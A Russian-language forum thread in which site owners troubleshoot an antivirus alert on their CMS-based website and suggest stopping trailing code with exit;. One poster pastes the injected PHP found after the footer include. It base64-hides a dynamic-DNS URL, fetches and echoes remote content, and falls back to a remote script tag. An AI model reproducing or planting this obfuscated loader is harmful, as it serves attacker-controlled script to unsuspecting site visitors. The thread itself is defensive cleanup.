Вирус на сайте

962
.
Jedem das Seine
У меня тоже аваст, блокнул не задумываясь.
.
как вижу код ножке двига после </html> Перешол по адресу скрипта выводит тотже вирус! спали его!
.
Jedem das Seine
Элементарно - в конце end.php вставь exit; соблюдая синтаксис php и делов-то.
На 000webhost это канало влёгкую.
.
Jedem das Seine
После </html> естессна.
.
Jedem das Seine
Ктати когда у мну был сайт exit; был по умолчанию, чтоб мусор всякий не лез.
.
кусок кода в Index.php После require_once ("../incfiles/end.php");
.
Netman (24.02.2013 / 22:58)
После </html> естессна.
спасибо, помогло) там после инклуда ног был такой код:
function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {
$get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA==");
$content = @file_get_contents($get);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;
}
collectnewss ();

так и должно быть? я перед этим кодом exit написал и всё норм стало, а если после этого кода написать, то ничего не изменяется
.
Jedem das Seine
Честно говоря не помню, но кажется у меня такого не было.
Прост когда-то столкнулся с 000webhost`ом, а их JS мне всю картину портил.
.
Мне kaspersky crystal ни чего на сайт не наговаривает =D
.
Jedem das Seine
Уже так понимаю обработано, читай выше.
Всего: 40